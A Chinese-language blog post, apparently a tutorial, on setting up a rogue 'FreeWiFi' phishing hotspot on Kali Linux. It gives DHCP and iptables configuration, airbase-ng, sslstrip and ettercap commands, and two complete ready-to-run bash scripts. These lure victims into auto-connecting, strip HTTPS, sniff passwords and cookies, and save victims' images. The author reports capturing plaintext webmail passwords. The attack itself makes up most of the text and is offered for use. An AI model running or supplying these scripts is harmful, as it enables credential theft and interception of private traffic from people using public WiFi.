zoukankan      html  css  js  c++  java
  • 钓鱼WIFI搭建

     

    1、无线网卡

    2、KaliLinux操作系统,这里就不用说了,必备的

    3、isc-dhcp-server服务器。安装好KaliLinux后只需要apt-get update 然后apt-get install isc-dhcp-server即可

    4、Aircrack-ng套件   #用来发送数据

    5、sslstrip       用来突破SSL加密

    6、ettercap     用来嗅探劫持

    后面三个软件KaliLinux都自带有,不用安装即可。

    首先强调下,后面的bash脚本适用于使用isc-dhcp-server这个bash脚本,建立钓鱼热点。

    安装dhcp服务

    apt-get install isc-dhcp-server

    配置文件分别在/etc/default/isc-dhcp-server和/etc/dhcp/dhcpd.conf,前者可以配置监听端口,这里以wlan0为例

    配置dhcp文件后,断开wlan0的网络,分配一个ip

    ifconfig wlan0 192.168.1.2/24

    启动dhcp服务

    /etc/init.d/isc-dhcp-server start 或者

    service isc-dhcp-server start

    建立热点:

    将下文写好的airssl.sh添加执行权限

    bash airssl.sh

    然后分别是AP建立,DHCP建立,sslstrip开启,ettercap开启。

    这里再介绍一种方法,是使用 airbase-ng + dhcpd 创建虚拟WiFi热点;顺便使用 sslstrip+ettercap 进行中间人攻击,嗅探使用者的上网信息和劫持cookie!

    所需要的软件如下;kali-linux都已经自带了,其他的系统可以自行安装:
    Aircrack-ng 套件    #用来发送数据
    isc-dhcp-server    #简单的dhcp服务器
    sslstrip       #突破ssl加密
    ettercap      #嗅探劫持

    leaf /etc/dhcp/dhcpd.conf   编辑dhcp服务器配置文件,修改如下:

    authoritative;

    default-lease-time 700;
    max-lease-time 8000;

    subnet 10.0.0.0 netmask 255.255.255.0 {
    option routers 10.0.0.1;
    option subnet-mask 255.255.255.0;

    option domain-name "FreeWiFi";
    option domain-name-servers 10.0.0.1;

    range 10.0.0.10 10.0.0.100;

    }

    然后激活网卡至监听模式:
    airmon-ng start wlan0
    airbase-ng -e FreeWiFi -c 6 mon0

    此时虚拟wifi的信号已经发送出去了,如果出现错误:
    Error: Got channel -1, expected a value > 0.
    执行如下命令:

    airmon-ng stop mon0

    ifconfig wlan0 down
    iwconfig wlan0 mode monitor
    ifconfig wlan0 up

    然后从激活网卡至监听模式那里重新开始。
    接着执行如下命令:

    ifconfig at0 up
    ifconfig at0 10.0.0.1 netmask 255.255.255.0
    ifconfig at0 mtu 1400
    route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
    iptables --flush
    iptables --table nat --flush
    iptables --delete-chain
    iptables --table nat --delete-chain
    echo 1 > /proc/sys/net/ipv4/ip_forward
    iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
    iptables -P FORWARD ACCEPT
    iptables --append FORWARD --in-interface at0 -j ACCEPT
    iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
    dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
    /etc/init.d/isc-dhcp-server start

    虚拟WiFir热点创建成功,接下来就是嗅探欺骗钓鱼了:

    sslstrip -fpk 10000
    ettercap -Tpuqi at0

    然后就等着鱼儿上钩吧!

    手机上测试了下,网易邮箱直接明文密码:

    Kali-Linux下创建一个钓鱼WiFi热点 - xiao106347 - Linux 折腾笔记

     
    百度使用了加密:

    Kali-Linux下创建一个钓鱼WiFi热点 - xiao106347 - Linux 折腾笔记
    Kali-Linux下创建一个钓鱼WiFi热点 - xiao106347 - Linux 折腾笔记

     写了一个脚本,修改成自己的设置每次执行就ok了:
    复制下面代码,保存为 “Fake_a_ap.sh”,然后 chmod +x Fake_a_ap.sh && ./Fake_a_ap.sh 

    #!/bin/sh

    echo "即将创建WiFi热点,请确保dhcpd.conf已经配置好!" &
    sleep 5

    ifconfig wlan0 down #wlan0修改成你的网卡
    iwconfig wlan0 mode monitor
    ifconfig wlan0 up

    airmon-ng start wlan0 &
    sleep 5
    airbase-ng -e FreeWiFi -c 6 mon0 & #修改成自己的热点名称和信道
    sleep 5

    ifconfig at0 up
    ifconfig at0 10.0.0.1 netmask 255.255.255.0
    ifconfig at0 mtu 1400
    route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
    iptables --flush && iptables --table nat --flush && iptables --table nat --flush && iptables --table nat --delete-chain &

    echo 1 > /proc/sys/net/ipv4/ip_forward
    iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
    iptables -P FORWARD ACCEPT
    iptables --append FORWARD --in-interface at0 -j ACCEPT
    iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
    dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
    sleep 2
    /etc/init.d/isc-dhcp-server start &
    sleep 5
    sslstrip -fpk 10000 &
    ettercap -puTqi at0

     

    代码如下:


    1. #!/bin/bash  
    2. # 修改版,原版信息如下:  
    3. ########################################################  
    4. # ©opyright 2009 - killadaninja - Modified G60Jon 2010  
    5. # airssl.sh - v1.0  
    6. # visit the man page NEW SCRIPT Capturing Passwords With sslstrip AIRSSL.sh  
    7. ########################################################  
    8. # Network questions  
    9. echo "AIRSSL_KALI"  
    10. echo "修该版本,适用于kali或者使用isc-dhcp-server的环境,原版信息如下:"  
    11. echo "AIRSSL 2.0 - Credits killadaninja & G60Jon  "  
    12. echo "仅供学习用途"  
    13. echo  
    14. route -n -A inet | grep UG  
    15. echo "DNS服务器.例如8.8.8.8: "  
    16. read -e dnsip  
    17. echo "网关地址.例如192.168.0.1:"  
    18. read -e gatewayip  
    19. echo "接入internet的接口.例如eth1: "  
    20. read -e internet_interface  
    21. echo "用于建立AP的接口.例如wlan0: "  
    22. read -e fakeap_interface  
    23. echo "AP的ESSID: "  
    24. read -e ESSID  
    25. airmon-ng start $fakeap_interface  
    26. fakeap=$fakeap_interface  
    27. fakeap_interface="mon0"  
    28.   
    29. # Dhcpd creation  
    30. mkdir -p "/pentest/wireless/airssl"  
    31. cp /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.bak  
    32. cp /etc/default/isc-dhcp-server /etc/default/isc-dhcp-server.bak  
    33. echo "ddns-update-style none;  
    34. default-lease-time 600;  
    35. max-lease-time 7200;  
    36. authoritative;  
    37. log-facility local7;  
    38. ">/etc/dhcp/dhcpd.conf  
    39.   
    40. echo -n "subnet 192.168.0.0 netmask 255.255.255.0 {  
    41.   range 192.168.0.100 192.168.0.200;   
    42.   option domain-name-servers ">>/etc/dhcp/dhcpd.conf  
    43. echo -n $dnsip>>/etc/dhcp/dhcpd.conf  
    44. echo -n ";  
    45. # option domain-name "internal.example.org";  
    46.   option routers ">>/etc/dhcp/dhcpd.conf  
    47. echo -n $gatewayip>>/etc/dhcp/dhcpd.conf  
    48. echo -n ";  
    49.   option broadcast-address 192.168.0.255;  
    50.  default-lease-time 600;  
    51.  max-lease-time 7200;  
    52. }" >> /etc/dhcp/dhcpd.conf  
    53. echo "  
    54. DHCPD_CONF=/etc/dhcp/dhcpd.conf  
    55. DHCPD_PID=/var/run/dhcpd.pid  
    56. INTERFACES="at0"  
    57. ">/etc/default/isc-dhcp-server  
    58. # Fake ap setup  
    59. echo "[+] Configuring FakeAP...."  
    60. echo  
    61. echo "Airbase-ng will run in its most basic mode, would you like to  
    62. configure any extra switches? "  
    63. echo  
    64. echo "Choose Y to see airbase-ng help and add switches. "  
    65. echo "Choose N to run airbase-ng in basic mode with your choosen ESSID. "  
    66. echo "Choose A to run airbase-ng in respond to all probes mode (in this mode your choosen ESSID is not used, but instead airbase-ng responds to all incoming probes), providing victims have auto connect feature on in their wireless settings (MOST DO), airbase-ng will imitate said saved networks and slave will connect to us, likely unknowingly. PLEASE USE THIS OPTION RESPONSIBLY. "  
    67. echo "Y, N or A "  
    68.   
    69. read ANSWER  
    70.   
    71. if [ $ANSWER = "y" ] ; then  
    72. airbase-ng --help  
    73. fi  
    74.   
    75. if [ $ANSWER = "y" ] ; then  
    76. echo  
    77. echo -n "Enter switches, note you have already chosen an ESSID -e this cannot be  
    78. redefined, also in this mode you MUST define a channel "  
    79. read -e aswitch  
    80. echo  
    81. echo "[+] Starting FakeAP..."  
    82. xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng "$aswitch" -e "$ESSID" $fakeap_interface & fakeapid=$!  
    83. sleep 2  
    84. fi  
    85.   
    86. if [ $ANSWER = "a" ] ; then  
    87. echo  
    88. echo "[+] Starting FakeAP..."  
    89. xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng -P -C 30 $fakeap_interface & fakeapid=$!  
    90. sleep 2  
    91. fi  
    92.   
    93. if [ $ANSWER = "n" ] ; then  
    94. echo  
    95. echo "[+] Starting FakeAP..."  
    96. xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng -c 1 -e "$ESSID" $fakeap_interface & fakeapid=$!  
    97. sleep 2  
    98. fi  
    99.   
    100. # Tables  
    101. echo "[+] Configuring forwarding tables..."  
    102. ifconfig lo up  
    103. ifconfig at0 up &  
    104. sleep 1  
    105. ifconfig at0 $gatewayip netmask 255.255.255.0  
    106. ifconfig at0 mtu 1400  
    107. route add -net 192.168.0.0 netmask 255.255.255.0 gw $gatewayip   
    108. iptables --flush  
    109. iptables --table nat --flush  
    110. iptables --delete-chain  
    111. iptables --table nat --delete-chain  
    112. echo 1 > /proc/sys/net/ipv4/ip_forward  
    113. iptables -t nat -A PREROUTING -p udp -j DNAT --to $gatewayip  
    114. iptables -P FORWARD ACCEPT  
    115. iptables --append FORWARD --in-interface at0 -j ACCEPT  
    116. iptables --table nat --append POSTROUTING --out-interface $internet_interface -j MASQUERADE  
    117. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000  
    118.   
    119. # DHCP  
    120. echo "[+] Setting up DHCP..."  
    121. #touch /var/run/dhcpd.pid  
    122. #chown dhcpd:dhcpd /var/run/dhcpd.pid  
    123. #xterm -geometry 75x20+1+100 -T DHCP -e dhcpd3 -d -f -cf "/pentest/wireless/airssl/dhcpd.conf" at0 & dchpid=$!  
    124. #sleep 3  
    125. /etc/init.d/isc-dhcp-server start  
    126. # Sslstrip  
    127. echo "[+] Starting sslstrip..."  
    128. xterm -geometry 75x15+1+200 -T sslstrip -e sslstrip -f -p -k 10000 & sslstripid=$!  
    129. sleep 2  
    130.   
    131. # Ettercap  
    132. echo "[+] Configuring ettercap..."  
    133. echo  
    134. echo "Ettercap will run in its most basic mode, would you like to  
    135. configure any extra switches for example to load plugins or filters,  
    136. (advanced users only), if you are unsure choose N "  
    137. echo "Y or N "  
    138. read ETTER  
    139. if [ $ETTER = "y" ] ; then  
    140. ettercap --help  
    141. fi  
    142.   
    143. if [ $ETTER = "y" ] ; then  
    144. echo -n "Interface type is set you CANNOT use ""interface type"" switches here  
    145. For the sake of airssl, ettercap WILL USE -u and -p so you are advised  
    146. NOT to use -M, also -i is already set and CANNOT be redifined here.  
    147. Ettercaps output will be saved to /pentest/wireless/airssl/passwords  
    148. DO NOT use the -w switch, also if you enter no switches here ettercap will fail "  
    149. echo  
    150. read "eswitch"  
    151. echo "[+] Starting ettercap..."  
    152. xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u "$eswitch" -T -q -i at0 & ettercapid=$!  
    153. sleep 1  
    154. fi  
    155.   
    156. if [ $ETTER = "n" ] ; then  
    157. echo  
    158. echo "[+] Starting ettercap..."  
    159. xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u -T -q -w /pentest/wireless/airssl/passwords -i at0 & ettercapid=$!  
    160. sleep 1  
    161. fi  
    162.   
    163. # Driftnet  
    164. echo  
    165. echo "[+] Driftnet?"  
    166. echo  
    167. echo "Would you also like to start driftnet to capture the victims images,  
    168. (this may make the network a little slower), "  
    169. echo "Y or N "  
    170. read DRIFT  
    171.   
    172. if [ $DRIFT = "y" ] ; then  
    173. mkdir -p "/pentest/wireless/airssl/driftnetdata"  
    174. echo "[+] Starting driftnet..."  
    175. driftnet -i $internet_interface -p -d /pentest/wireless/airssl/driftnetdata & dritnetid=$!  
    176. sleep 3  
    177. fi  
    178.   
    179. xterm -geometry 75x15+1+600 -T SSLStrip-Log -e tail -f sslstrip.log & sslstriplogid=$!  
    180.   
    181. clear  
    182. echo  
    183. echo "[+] Activated..."  
    184. echo "Airssl is now running, after slave connects and surfs their credentials will be displayed in ettercap. You may use right/left mouse buttons to scroll up/down ettercaps xterm shell, ettercap will also save its output to /pentest/wireless/airssl/passwords unless you stated otherwise. Driftnet images will be saved to /pentest/wireless/airssl/driftftnetdata "  
    185. echo  
    186. echo "[+] IMPORTANT..."  
    187. echo "使用完毕请键入Y恢复系统配置,否则可能会出现问题!"  
    188. read WISH  
    189.   
    190. # Clean up  
    191. if [ $WISH = "y" ] ; then  
    192. echo  
    193. echo "[+] Cleaning up airssl and resetting iptables..."  
    194.   
    195. kill ${fakeapid}  
    196. kill ${dchpid}  
    197. kill ${sslstripid}  
    198. kill ${ettercapid}  
    199. kill ${dritnetid}  
    200. kill ${sslstriplogid}  
    201.   
    202. airmon-ng stop $fakeap_interface  
    203. airmon-ng stop $fakeap  
    204. echo "0" > /proc/sys/net/ipv4/ip_forward  
    205. iptables --flush  
    206. iptables --table nat --flush  
    207. iptables --delete-chain  
    208. iptables --table nat --delete-chain  
    209. mv /etc/default/isc-dhcp-server.bak /etc/default/isc-dhcp-server  
    210. mv /etc/dhcp/dhcpd.conf.bak /etc/dhcp/dhcpd.conf  
    211. /etc/init.d/isc-dhcp-server stop   
    212.   
    213. echo "[+] Clean up successful..."  
    214. echo "[+] Thank you for using airssl, Good Bye..."  
    215. exit  
    216.   
    217. fi  
    218. exit  


    做这个最重要的还是写shell脚本

    后面的脚本如果都能自己写出来,才是真正的大神。本人菜鸟,欢迎各位大神狂喷

  • 相关阅读:
    DOSD用scratch的方式训练通用目标检测,性能很高
    caffemodel模型
    NetScope脱机(localhost)使用[转】
    class前置声明
    const函数
    CUDA开发
    caffe2学习
    faster rcnn讲解很细
    控制台输出覆盖当前行显示
    UA池 代理IP池 scrapy的下载中间件
  • 原文地址:https://www.cnblogs.com/askDing/p/6378541.html
Copyright © 2011-2022 走看看